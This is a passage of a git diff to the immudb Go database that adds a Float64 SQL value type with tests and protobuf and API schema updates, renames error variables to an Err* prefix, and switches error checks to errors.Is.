}).isConstant()) require.True(t, (&BinBoolExp{ op: ADDOP, - left: &Number{val: 1}, - right: &Number{val: 2}, + left: &Integer{val: 1}, + right: &Integer{val: 2}, }).isConstant()) require.False(t, (&CmpBoolExp{ op: LE, - left: &Number{val: 1}, + left: &Integer{val: 1}, right: &ColSelector{}, }).isConstant()) @@ -907,4 +957,61 @@ func TestDistinctRowReaderErrors(t *testing.T) { require.ErrorIs(t, err, errDummy) require.Nil(t, reader) require.True(t, baseReader.closed) + +} + +func TestFloat64Type(t *testing.T) { + + ts := &Float64{val: 0.0} + + t.Run("comparison functions", func(t *testing.T) { + + cmp, err := ts.Compare(&Float64{val: 0.0}) + require.NoError(t, err) + require.Equal(t, 0, cmp) + + cmp, err = ts.Compare(&Float64{val: 0.1}) + require.NoError(t, err) + require.Equal(t, cmp, -1) + + cmp, err = ts.Compare(&Float64{val: -0.1}) + require.NoError(t, err) + require.Equal(t, cmp, 1) + + cmp, err = ts.Compare(&NullValue{t: Float64Type}) + require.NoError(t, err) + require.Equal(t, 1, cmp) + + cmp, err = ts.Compare(&NullValue{t: AnyType}) + require.NoError(t, err) + require.Equal(t, 1, cmp) + + cmp, err = (&NullValue{t: Float64Type}).Compare(ts) + require.NoError(t, err) + require.Equal(t, -1, cmp) + + cmp, err = (&NullValue{t: AnyType}).Compare(ts) + require.NoError(t, err) + require.Equal(t, -1, cmp) + }) + + it, err := ts.inferType(map[string]ColDescriptor{}, map[string]string{}, "", "") + require.NoError(t, err) + require.Equal(t, Float64Type, it) + + err = ts.requiresType(Float64Type, map[string]ColDescriptor{}, map[string]string{}, "", "") + require.NoError(t, err) + + err = ts.requiresType(IntegerType, map[string]ColDescriptor{}, map[string]string{}, "", "") + require.ErrorIs(t, err, ErrInvalidTypes) + + v, err := ts.substitute(map[string]interface{}{}) + require.NoError(t, err) + require.Equal(t, ts, v) + + v = ts.reduceSelectors(&Row{}, "", "") + require.Equal(t, ts, v) + + err = ts.selectorRanges(&Table{}, "", map[string]interface{}{}, map[uint32]*typedValueRange{}) + require.NoError(t, err) } diff --git a/embedded/sql/union_row_reader.go b/embedded/sql/union_row_reader.go index 60702b25f8..88e79cd6f0 100644 --- a/embedded/sql/union_row_reader.go +++ b/embedded/sql/union_row_reader.go @@ -18,6 +18,7 @@ package sql import ( "context" + "errors" "fmt" "github.com/codenotary/immudb/embedded/multierr" @@ -114,7 +115,7 @@ func (ur *unionRowReader) InferParameters(ctx context.Context, params map[string func (ur *unionRowReader) Read(ctx context.Context) (*Row, error) { for { row, err := ur.rowReaders[ur.currReader].Read(ctx) - if err == store.ErrNoMoreEntries && ur.currReader+1 < len(ur.rowReaders) { + if errors.Is(err, store.ErrNoMoreEntries) && ur.currReader+1 < len(ur.rowReaders) { ur.currReader++ continue } diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 27b2bbbcb4..2e5e017d57 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -49,26 +49,26 @@ var ErrIllegalArguments = embedded.ErrIllegalArguments var ErrInvalidOptions = fmt.Errorf("%w: invalid options", ErrIllegalArguments) var ErrAlreadyClosed = embedded.ErrAlreadyClosed var ErrUnexpectedLinkingError = errors.New("internal inconsistency between linear and binary linking") -var ErrorNoEntriesProvided = errors.New("no entries provided") +var ErrNoEntriesProvided = errors.New("no entries provided") var ErrWriteOnlyTx = errors.New("write-only transaction") var ErrReadOnlyTx = errors.New("read-only transaction") var ErrTxReadConflict = errors.New("tx read conflict") var ErrTxAlreadyCommitted = errors.New("tx already committed") -var ErrorMaxTxEntriesLimitExceeded = errors.New("max number of entries per tx exceeded") +var ErrMaxTxEntriesLimitExceeded = errors.New("max number of entries per tx exceeded") var ErrNullKey = errors.New("null key") -var ErrorMaxKeyLenExceeded = errors.New("max key length exceeded") -var ErrorMaxValueLenExceeded = errors.New("max value length exceeded") +var ErrMaxKeyLenExceeded = errors.New("max key length exceeded") +var ErrMaxValueLenExceeded = errors.New("max value length exceeded") var ErrPreconditionFailed = errors.New("precondition failed") var ErrDuplicatedKey = errors.New("duplicated key") var ErrMaxActiveTransactionsLimitExceeded = errors.New("max active transactions limit exceeded") var ErrMVCCReadSetLimitExceeded = errors.New("MVCC read-set limit exceeded") var ErrMaxConcurrencyLimitExceeded = errors.New("max concurrency limit exceeded") -var ErrorPathIsNotADirectory = errors.New("path is not a directory") -var ErrorCorruptedTxData = errors.New("tx data is corrupted") -var ErrCorruptedTxDataMaxTxEntriesExceeded = fmt.Errorf("%w: maximum number of TX entries exceeded", ErrorCorruptedTxData) -var ErrCorruptedTxDataUnknownHeaderVersion = fmt.Errorf("%w: unknown TX header version", ErrorCorruptedTxData) -var ErrCorruptedTxDataMaxKeyLenExceeded = fmt.Errorf("%w: maximum key length exceeded", ErrorCorruptedTxData) -var ErrCorruptedTxDataDuplicateKey = fmt.Errorf("%w: duplicate key in a single TX", ErrorCorruptedTxData) +var ErrPathIsNotADirectory = errors.New("path is not a directory") +var ErrCorruptedTxData = errors.New("tx data is corrupted") +var ErrCorruptedTxDataMaxTxEntriesExceeded = fmt.Errorf("%w: maximum number of TX entries exceeded", ErrCorruptedTxData) +var ErrCorruptedTxDataUnknownHeaderVersion = fmt.Errorf("%w: unknown TX header version", ErrCorruptedTxData) +var ErrCorruptedTxDataMaxKeyLenExceeded = fmt.Errorf("%w: maximum key length exceeded", ErrCorruptedTxData) +var ErrCorruptedTxDataDuplicateKey = fmt.Errorf("%w: duplicate key in a single TX", ErrCorruptedTxData) var ErrCorruptedData = errors.New("data is corrupted") var ErrCorruptedCLog = errors.New("commit log is corrupted") var ErrCorruptedIndex = errors.New("corrupted index") @@ -90,7 +90,7 @@ var ErrInvalidPrecondition = errors.New("invalid precondition") var ErrInvalidPreconditionTooMany = fmt.Errorf("%w: too many preconditions", ErrInvalidPrecondition) var ErrInvalidPreconditionNull = fmt.Errorf("%w: null", ErrInvalidPrecondition) var ErrInvalidPreconditionNullKey = fmt.Errorf("%w: %v", ErrInvalidPrecondition, ErrNullKey) -var ErrInvalidPreconditionMaxKeyLenExceeded = fmt.Errorf("%w: %v", ErrInvalidPrecondition, ErrorMaxKeyLenExceeded) +var ErrInvalidPreconditionMaxKeyLenExceeded = fmt.Errorf("%w: %v", ErrInvalidPrecondition, ErrMaxKeyLenExceeded) var ErrInvalidPreconditionInvalidTxID = fmt.Errorf("%w: invalid transaction ID", ErrInvalidPrecondition) var ErrSourceTxNewerThanTargetTx = errors.New("source tx is newer than target tx") @@ -227,7 +227,7 @@ func Open(path string, opts *Options) (*ImmuStore, error) { return nil, err } } else if !finfo.IsDir() { - return nil, ErrorPathIsNotADirectory + return nil, ErrPathIsNotADirectory } metadata := appendable.NewMetadata(nil) @@ -359,7 +359,7 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable } if txLogFileSize < committedTxLogSize { - return nil, fmt.Errorf("corrupted transaction log: size is too small: %w", ErrorCorruptedTxData) + return nil, fmt.Errorf("corrupted transaction log: size is too small: %w", ErrCorruptedTxData) } } @@ -1841,7 +1841,7 @@ func (s *ImmuStore) DualProof(sourceTxHdr, targetTxHdr *TxHeader) (proof *DualPr } if sourceTxHdr.BlTxID > targetTxHdr.BlTxID { - return nil, fmt.Errorf("%w: binary linking mismatch at tx %d", ErrorCorruptedTxData, sourceTxHdr.ID) + return nil, fmt.Errorf("%w: binary linking mismatch at tx %d", ErrCorruptedTxData, sourceTxHdr.ID) } if sourceTxHdr.BlTxID > 0 { @@ -2469,7 +2469,7 @@ func (s *ImmuStore) readTx(txID uint64, allowPrecommitted bool, skipIntegrityChe err = tx.readFrom(r, skipIntegrityCheck) if err == io.EOF { - return fmt.Errorf("%w: unexpected EOF while reading tx %d", ErrorCorruptedTxData, txID) + return fmt.Errorf("%w: unexpected EOF while reading tx %d", ErrCorruptedTxData, txID) } return err @@ -2665,10 +2665,10 @@ func (s *ImmuStore) readValueAt(b []byte, off int64, hvalue [sha256.Size]byte, s func (s *ImmuStore) validateEntries(entries []*EntrySpec) error { if len(entries) == 0 { - return ErrorNoEntriesProvided + return ErrNoEntriesProvided } if len(entries) > s.maxTxEntries { - return ErrorMaxTxEntriesLimitExceeded + return ErrMaxTxEntriesLimitExceeded } m := make(map[string]struct{}, len(entries)) @@ -2679,10 +2679,10 @@ func (s *ImmuStore) validateEntries(entries []*EntrySpec) error { } if len(kv.Key) > s.maxKeyLen { - return ErrorMaxKeyLenExceeded + return ErrMaxKeyLenExceeded } if len(kv.Value) > s.maxValueLen { - return ErrorMaxValueLenExceeded + return ErrMaxValueLenExceeded } b64k := base64.StdEncoding.EncodeToString(kv.Key) diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index c2b7aa2eac..6c034e6fe7 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -192,7 +192,7 @@ func TestImmudbStoreConcurrentCommits(t *testing.T) { func TestImmudbStoreOpenWithInvalidPath(t *testing.T) { _, err := Open("immustore_test.go", DefaultOptions()) - require.ErrorIs(t, err, ErrorPathIsNotADirectory) + require.ErrorIs(t, err, ErrPathIsNotADirectory) } func TestImmudbStoreOnClosedStore(t *testing.T) { @@ -491,7 +491,7 @@ func TestImmudbStoreEdgeCases(t *testing.T) { } _, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions()) - require.ErrorIs(t, err, ErrorCorruptedTxData) + require.ErrorIs(t, err, ErrCorruptedTxData) }) t.Run("fail to read last transaction", func(t *testing.T) { @@ -768,10 +768,10 @@ func TestImmudbStoreEdgeCases(t *testing.T) { t.Run("validateEntries", func(t *testing.T) { err = immuStore.validateEntries(nil) - require.ErrorIs(t, err, ErrorNoEntriesProvided) + require.ErrorIs(t, err, ErrNoEntriesProvided) err = immuStore.validateEntries(make([]*EntrySpec, immuStore.maxTxEntries+1)) - require.ErrorIs(t, err, ErrorMaxTxEntriesLimitExceeded) + require.ErrorIs(t, err, ErrMaxTxEntriesLimitExceeded) entry := &EntrySpec{Key: nil, Value: nil} err = immuStore.validateEntries([]*EntrySpec{entry}) @@ -779,11 +779,11 @@ func TestImmudbStoreEdgeCases(t *testing.T) { entry = &EntrySpec{Key: make([]byte, immuStore.maxKeyLen+1), Value: make([]byte, 1)} err = immuStore.validateEntries([]*EntrySpec{entry}) - require.ErrorIs(t, err, ErrorMaxKeyLenExceeded) + require.ErrorIs(t, err, ErrMaxKeyLenExceeded) entry = &EntrySpec{Key: make([]byte, 1), Value: make([]byte, immuStore.maxValueLen+1)} err = immuStore.validateEntries([]*EntrySpec{entry}) - require.ErrorIs(t, err, ErrorMaxValueLenExceeded) + require.ErrorIs(t, err, ErrMaxValueLenExceeded) }) t.Run("validatePreconditions", func(t *testing.T) { @@ -1014,10 +1014,10 @@ func TestImmudbStoreRWTransactions(t *testing.T) { require.ErrorIs(t, err, ErrNullKey) err = tx.Set(make([]byte, immuStore.maxKeyLen+1), nil, []byte{3, 2, 1}) - require.ErrorIs(t, err, ErrorMaxKeyLenExceeded) + require.ErrorIs(t, err, ErrMaxKeyLenExceeded) err = tx.Set([]byte{1, 2, 3}, nil, make([]byte, immuStore.maxValueLen+1)) - require.ErrorIs(t, err, ErrorMaxValueLenExceeded) + require.ErrorIs(t, err, ErrMaxValueLenExceeded) err = tx.Set([]byte{1, 2, 3}, nil, []byte{3, 2, 1}) require.NoError(t, err) @@ -1593,7 +1593,7 @@ func TestImmudbStoreCommitWith(t *testing.T) { return nil, nil, nil } _, err = immuStore.CommitWith(context.Background(), callback, false) - require.ErrorIs(t, err, ErrorNoEntriesProvided) + require.ErrorIs(t, err, ErrNoEntriesProvided) callback = func(txID uint64, index KeyIndex) ([]*EntrySpec, []Precondition, error) { return nil, nil, errors.New("error") @@ -2073,7 +2073,7 @@ func TestImmudbStoreConsistencyProofReopened(t *testing.T) { require.NoError(t, err) _, err = tx.Commit(context.Background()) - require.ErrorIs(t, err, ErrorNoEntriesProvided) + require.ErrorIs(t, err, ErrNoEntriesProvided) for i := 0; i < txCount; i++ { tx, err := immuStore.NewWriteOnlyTx(context.Background()) diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index 897f35b5cf..4f97960a92 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -208,18 +208,18 @@ func (tx *OngoingTx) set(key []byte, md *KVMetadata, value []byte, hashValue [sh } if len(key) > tx.st.maxKeyLen { - return ErrorMaxKeyLenExceeded + return ErrMaxKeyLenExceeded } if len(value) > tx.st.maxValueLen { - return ErrorMaxValueLenExceeded + return ErrMaxValueLenExceeded } kid := sha256.Sum256(key) keyRef, isKeyUpdate := tx.entriesByKey[kid] if !isKeyUpdate && len(tx.entries) > tx.st.maxTxEntries { - return ErrorMaxTxEntriesLimitExceeded + return ErrMaxTxEntriesLimitExceeded } // updates are not needed because valueRef are resolved with the "interceptor" diff --git a/embedded/store/tx.go b/embedded/store/tx.go index a194dcf968..844ffb014a 100644 --- a/embedded/store/tx.go +++ b/embedded/store/tx.go @@ -627,7 +627,7 @@ func (t *txDataReader) buildAndValidateHtree(htree *htree.HTree) error { t.h.Eh = root if t.h.Alh() != alh { - return fmt.Errorf("%w: ALH mismatch at tx %d", ErrorCorruptedTxData, t.h.ID) + return fmt.Errorf("%w: ALH mismatch at tx %d", ErrCorruptedTxData, t.h.ID) } return nil diff --git a/embedded/store/tx_reader.go b/embedded/store/tx_reader.go index 5d4bb6a9e9..a66e2752c9 100644 --- a/embedded/store/tx_reader.go +++ b/embedded/store/tx_reader.go @@ -81,11 +81,11 @@ func (txr *TxReader) Read() (*Tx, error) { if txr.InitialTxID != txr.CurrTxID { if txr.Desc && txr.CurrAlh != txr._tx.header.Alh() { - return nil, fmt.Errorf("%w: ALH mismatch at tx %d", ErrorCorruptedTxData, txr._tx.header.ID) + return nil, fmt.Errorf("%w: ALH mismatch at tx %d", ErrCorruptedTxData, txr._tx.header.ID) } if !txr.Desc && txr.CurrAlh != txr._tx.header.PrevAlh { - return nil, fmt.Errorf("%w: ALH mismatch at tx %d", ErrorCorruptedTxData, txr._tx.header.ID) + return nil, fmt.Errorf("%w: ALH mismatch at tx %d", ErrCorruptedTxData, txr._tx.header.ID) } } diff --git a/embedded/tools/stress_tool/stress_tool.go b/embedded/tools/stress_tool/stress_tool.go index c4f71289a3..b2e8b0ceb4 100644 --- a/embedded/tools/stress_tool/stress_tool.go +++ b/embedded/tools/stress_tool/stress_tool.go @@ -21,6 +21,7 @@ import ( "context" "encoding/base64" "encoding/binary" + "errors" "flag" "fmt" "math/rand" @@ -368,7 +369,7 @@ func main() { for { tx, err := txReader.Read() if err != nil { - if err == store.ErrNoMoreEntries { + if errors.Is(err, store.ErrNoMoreEntries) { break } panic(err) diff --git a/pkg/api/schema/docs.md b/pkg/api/schema/docs.md index 79d293ab1f..516c3f8ae9 100644 --- a/pkg/api/schema/docs.md +++ b/pkg/api/schema/docs.md @@ -1623,6 +1623,7 @@ Only succeed if given key was not modified after given transaction | b | [bool](#bool) | | | | bs | [bytes](#bytes) | | | | ts | [int64](#int64) | | | +| f | [double](#double) | | | diff --git a/pkg/api/schema/row_value.go b/pkg/api/schema/row_value.go index 4793689a3a..def594e382 100644 --- a/pkg/api/schema/row_value.go +++ b/pkg/api/schema/row_value.go @@ -103,6 +103,19 @@ func (v *SQLValue_Ts) Equal(sqlv SqlValue) (bool, error) { return v.Ts == ts.Ts, nil } +func (v *SQLValue_F) Equal(sqlv SqlValue) (bool, error) { + _, isNull := sqlv.(*SQLValue_Null) + if isNull { + return false, nil + } + + f, isFloat := sqlv.(*SQLValue_F) + if !isFloat { + return false, sql.ErrNotComparableValues + } + return v.F == f.F, nil +} + func RenderValue(op isSQLValue_Value) string { switch v := op.(type) { case *SQLValue_Null: @@ -130,6 +143,10 @@ func RenderValue(op isSQLValue_Value) string { t := sql.TimeFromInt64(v.Ts) return t.Format("2006-01-02 15:04:05.999999") } + case *SQLValue_F: + { + return strconv.FormatFloat(float64(v.F), 'f', -1, 64) + } } return fmt.Sprintf("%v", op) @@ -162,6 +179,10 @@ func RenderValueAsByte(op isSQLValue_Value) []byte { t := sql.TimeFromInt64(v.Ts) return []byte(t.Format("2006-01-02 15:04:05.999999")) } + case *SQLValue_F: + { + return []byte(strconv.FormatFloat(float64(v.F), 'f', -1, 64)) + } } return []byte(fmt.Sprintf("%v", op)) @@ -197,6 +218,10 @@ func RawValue(v *SQLValue) interface{} { { return sql.TimeFromInt64(tv.Ts) } + case *SQLValue_F: + { + return tv.F + } } return nil diff --git a/pkg/api/schema/row_value_test.go b/pkg/api/schema/row_value_test.go index fc25655545..a34e2deeea 100644 --- a/pkg/api/schema/row_value_test.go +++ b/pkg/api/schema/row_value_test.go @@ -18,6 +18,7 @@ package schema import ( "encoding/hex" + "math" "testing" "time" @@ -37,6 +38,12 @@ func TestRowComparison(t *testing.T) { blobValue2 := &SQLValue_Bs{Bs: []byte{1, 2, 3}} tsValue1 := &SQLValue_Ts{Ts: time.Date(2021, 12, 8, 13, 46, 23, 12345000, time.UTC).UnixNano() / 1e3} tsValue2 := &SQLValue_Ts{Ts: time.Date(2020, 11, 7, 12, 45, 22, 12344000, time.UTC).UnixNano() / 1e3} + float64Value1 := &SQLValue_F{F: 1.1} + float64Value2 := &SQLValue_F{F: .1} + float64Value3 := &SQLValue_F{F: 0.0} + float64Value4 := &SQLValue_F{F: math.MaxFloat64} + float64Value5 := &SQLValue_F{F: -math.MaxFloat64} + float64Value6 := &SQLValue_F{F: -0.0} equals, err := nullValue.Equal(nullValue) require.NoError(t, err) @@ -185,4 +192,43 @@ func TestRowComparison(t *testing.T) { rTimestampValue := RenderValue(tsv.GetValue()) require.Equal(t, "2021-12-08 13:46:23.012345", rTimestampValue) + ftv := &SQLValue{Value: float64Value1} + floatValue := RenderValue(ftv.GetValue()) + require.Equal(t, "1.1", floatValue) + floatValueB := RenderValueAsByte(ftv.GetValue()) + require.Equal(t, []byte("1.1"), floatValueB) + floatValueR := RawValue(ftv) + require.Equal(t, 1.1, floatValueR) + + ftv = &SQLValue{Value: float64Value2} + floatValue = RenderValue(ftv.GetValue()) + require.Equal(t, "0.1", floatValue) + + ftv = &SQLValue{Value: float64Value3} + floatValue = RenderValue(ftv.GetValue()) + require.Equal(t, "0", floatValue) + + ftv = &SQLValue{Value: float64Value4} + floatValue = RenderValue(ftv.GetValue()) + require.Equal(t, "179769313486231570000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", floatValue) + + ftv = &SQLValue{Value: float64Value5} + floatValue = RenderValue(ftv.GetValue()) + require.Equal(t, "-179769313486231570000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", floatValue) + + ftv = &SQLValue{Value: float64Value6} + floatValue = RenderValue(ftv.GetValue()) + require.Equal(t, "0", floatValue) + + fakeSV := &SQLValue{Value: &FakeSqlValue{}} + fakeValue := RenderValue(fakeSV.GetValue()) + require.Equal(t, "&{}", fakeValue) + fake := RawValue(fakeSV) + require.Equal(t, nil, fake) + fakeB := RenderValueAsByte(fakeSV.GetValue()) + require.Equal(t, []byte(`&{}`), fakeB) } + +type FakeSqlValue struct{} + +func (*FakeSqlValue) isSQLValue_Value() {} diff --git a/pkg/api/schema/schema.pb.go b/pkg/api/schema/schema.pb.go index 49907c151f..0e03902967 100644 --- a/pkg/api/schema/schema.pb.go +++ b/pkg/api/schema/schema.pb.go @@ -7945,6 +7945,7 @@ type SQLValue struct { // *SQLValue_B // *SQLValue_Bs // *SQLValue_Ts + // *SQLValue_F Value isSQLValue_Value `protobuf_oneof:"value"` } @@ -8029,6 +8030,13 @@ func (x *SQLValue) GetTs() int64 { return 0 } +func (x *SQLValue) GetF() float64 { + if x, ok := x.GetValue().(*SQLValue_F); ok { + return x.F + } + return 0 +} + type isSQLValue_Value interface { isSQLValue_Value() } @@ -8057,6 +8065,10 @@ type SQLValue_Ts struct { Ts int64 `protobuf:"varint,6,opt,name=ts,proto3,oneof"` } +type SQLValue_F struct { + F float64 `protobuf:"fixed64,7,opt,name=f,proto3,oneof"` +} + func (*SQLValue_Null) isSQLValue_Value() {} func (*SQLValue_N) isSQLValue_Value() {} @@ -8069,6 +8081,8 @@ func (*SQLValue_Bs) isSQLValue_Value() {} func (*SQLValue_Ts) isSQLValue_Value() {} +func (*SQLValue_F) isSQLValue_Value() {} + type NewTxRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -9758,7 +9772,7 @@ var file_schema_proto_rawDesc = []byte{ 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x2f, 0x0a, 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, - 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x22, 0x99, 0x01, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x56, + 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x22, 0xa9, 0x01, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x30, 0x0a, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x48, 0x00, @@ -9767,7 +9781,8 @@ var file_schema_proto_rawDesc = []byte{ 0x09, 0x48, 0x00, 0x52, 0x01, 0x73, 0x12, 0x0e, 0x0a, 0x01, 0x62, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x48, 0x00, 0x52, 0x01, 0x62, 0x12, 0x10, 0x0a, 0x02, 0x62, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x48, 0x00, 0x52, 0x02, 0x62, 0x73, 0x12, 0x10, 0x0a, 0x02, 0x74, 0x73, 0x18, 0x06, - 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x02, 0x74, 0x73, 0x42, 0x07, 0x0a, 0x05, 0x76, 0x61, + 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x02, 0x74, 0x73, 0x12, 0x0e, 0x0a, 0x01, 0x66, 0x18, + 0x07, 0x20, 0x01, 0x28, 0x01, 0x48, 0x00, 0x52, 0x01, 0x66, 0x42, 0x07, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x8d, 0x02, 0x0a, 0x0c, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, @@ -12226,6 +12241,7 @@ func file_schema_proto_init() { (*SQLValue_B)(nil), (*SQLValue_Bs)(nil), (*SQLValue_Ts)(nil), + (*SQLValue_F)(nil), } type x struct{} out := protoimpl.TypeBuilder{ diff --git a/pkg/api/schema/schema.proto b/pkg/api/schema/schema.proto index 20caf692bb..a9c9821f03 100644 --- a/pkg/api/schema/schema.proto +++ b/pkg/api/schema/schema.proto @@ -1418,6 +1418,7 @@ message SQLValue { bool b = 4; bytes bs = 5; int64 ts = 6; + double f = 7; } } diff --git a/pkg/api/schema/schema.swagger.json b/pkg/api/schema/schema.swagger.json index 40b229134b..d30c03abd2 100644 --- a/pkg/api/schema/schema.swagger.json +++ b/pkg/api/schema/schema.swagger.json @@ -3251,6 +3251,10 @@ "ts": { "type": "string", "format": "int64" + }, + "f": { + "type": "number", + "format": "double" } } }, diff --git a/pkg/api/schema/sql.go b/pkg/api/schema/sql.go index 27eea34e12..50a82ab9a5 100644 --- a/pkg/api/schema/sql.go +++ b/pkg/api/schema/sql.go @@ -104,6 +104,10 @@ func asSQLValue(v interface{}) (*SQLValue, error) { { return &SQLValue{Value: &SQLValue_Ts{Ts: sql.TimeToInt64(tv)}}, nil } + case float64: + { + return &SQLValue{Value: &SQLValue_F{F: tv}}, nil + } } return nil, sql.ErrInvalidValue } diff --git a/pkg/client/sql.go b/pkg/client/sql.go index bc151371ee..7c35792cd0 100644 --- a/pkg/client/sql.go +++ b/pkg/client/sql.go @@ -348,6 +348,10 @@ func typedValueToRowValue(tv sql.TypedValue) *schema.SQLValue { { return &schema.SQLValue{Value: &schema.SQLValue_Ts{Ts: sql.TimeToInt64(tv.Value().(time.Time))}} } + case sql.Float64Type: + { + return &schema.SQLValue{Value: &schema.SQLValue_F{F: tv.Value().(float64)}} + } } return nil } diff --git a/pkg/database/database.go b/pkg/database/database.go index aee7a10eb5..8695118626 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -911,7 +911,7 @@ func (d *db) GetAll(ctx context.Context, req *schema.KeyListRequest) (*schema.En for _, key := range req.Keys { e, err := d.get(EncodeKey(key), snap, true) - if err == nil || err == store.ErrKeyNotFound { + if err == nil || errors.Is(err, store.ErrKeyNotFound) { if e != nil { list.Entries = append(list.Entries, e) } @@ -1008,7 +1008,7 @@ func (d *db) serializeTx(tx *store.Tx, spec *schema.EntriesSpec, snap *store.Sna } v, err := d.st.ReadValue(e) - if err == store.ErrExpiredEntry { + if errors.Is(err, store.ErrExpiredEntry) { break } if err != nil { @@ -1029,7 +1029,7 @@ func (d *db) serializeTx(tx *store.Tx, spec *schema.EntriesSpec, snap *store.Sna } kve, err := d.resolveValue(e.Key(), v, 0, tx.Header().ID, e.Metadata(), index, 0, skipIntegrityCheck) - if err == store.ErrKeyNotFound || err == store.ErrExpiredEntry { + if errors.Is(err, store.ErrKeyNotFound) || errors.Is(err, store.ErrExpiredEntry) { // ignore deleted ones (referenced key may have been deleted) break } @@ -1052,7 +1052,7 @@ func (d *db) serializeTx(tx *store.Tx, spec *schema.EntriesSpec, snap *store.Sna if spec.ZEntriesSpec.Action == schema.EntryTypeAction_RAW_VALUE { v, err := d.st.ReadValue(e) - if err == store.ErrExpiredEntry { + if errors.Is(err, store.ErrExpiredEntry) { break } if err != nil { @@ -1087,7 +1087,7 @@ func (d *db) serializeTx(tx *store.Tx, spec *schema.EntriesSpec, snap *store.Sna if snap != nil { entry, err = d.getAtTx(key, atTx, 1, snap, 0, skipIntegrityCheck) - if err == store.ErrKeyNotFound || err == store.ErrExpiredEntry { + if errors.Is(err, store.ErrKeyNotFound) || errors.Is(err, store.ErrExpiredEntry) { // ignore deleted ones (referenced key may have been deleted) break } @@ -1119,7 +1119,7 @@ func (d *db) serializeTx(tx *store.Tx, spec *schema.EntriesSpec, snap *store.Sna if spec.SqlEntriesSpec.Action == schema.EntryTypeAction_RAW_VALUE { v, err := d.st.ReadValue(e) - if err == store.ErrExpiredEntry { + if errors.Is(err, store.ErrExpiredEntry) { break } if err != nil { @@ -1475,7 +1475,7 @@ func (d *db) TxScan(ctx context.Context, req *schema.TxScanRequest) (*schema.TxL for l := 1; l <= limit; l++ { tx, err := txReader.Read() - if err == store.ErrNoMoreEntries { + if errors.Is(err, store.ErrNoMoreEntries) { break } if err != nil { @@ -1568,7 +1568,7 @@ func (d *db) History(ctx context.Context, req *schema.HistoryRequest) (*schema.E Key: req.Key, Metadata: schema.KVMetadataToProto(entry.Metadata()), Value: val, - Expired: err == store.ErrExpiredEntry, + Expired: errors.Is(err, store.ErrExpiredEntry), Revision: revision, } diff --git a/pkg/database/scan.go b/pkg/database/scan.go index 9c18f98ef0..98bec140ce 100644 --- a/pkg/database/scan.go +++ b/pkg/database/scan.go @@ -85,7 +85,7 @@ func (d *db) Scan(ctx context.Context, req *schema.ScanRequest) (*schema.Entries for l := 1; l <= limit; l++ { key, valRef, err := r.Read() - if err == store.ErrNoMoreEntries { + if errors.Is(err, store.ErrNoMoreEntries) { break } if err != nil { @@ -93,7 +93,7 @@ func (d *db) Scan(ctx context.Context, req *schema.ScanRequest) (*schema.Entries } e, err := d.getAtTx(key, valRef.Tx(), 0, snap, valRef.HC(), true) - if err == store.ErrKeyNotFound { + if errors.Is(err, store.ErrKeyNotFound) { // ignore deleted ones (referenced key may have been deleted) continue } diff --git a/pkg/database/sorted_set.go b/pkg/database/sorted_set.go index 9c4c7ea04f..a7ed2e6f5a 100644 --- a/pkg/database/sorted_set.go +++ b/pkg/database/sorted_set.go @@ -182,7 +182,7 @@ func (d *db) ZScan(ctx context.Context, req *schema.ZScanRequest) (*schema.ZEntr for l := 1; l <= limit; l++ { zKey, _, err := r.Read() - if err == store.ErrNoMoreEntries { + if errors.Is(err, store.ErrNoMoreEntries) { break } if err != nil { @@ -209,7 +209,7 @@ func (d *db) ZScan(ctx context.Context, req *schema.ZScanRequest) (*schema.ZEntr atTx := binary.BigEndian.Uint64(zKey[keyOff+len(key):]) e, err := d.getAtTx(key, atTx, 1, snap, 0, true) - if err == store.ErrKeyNotFound 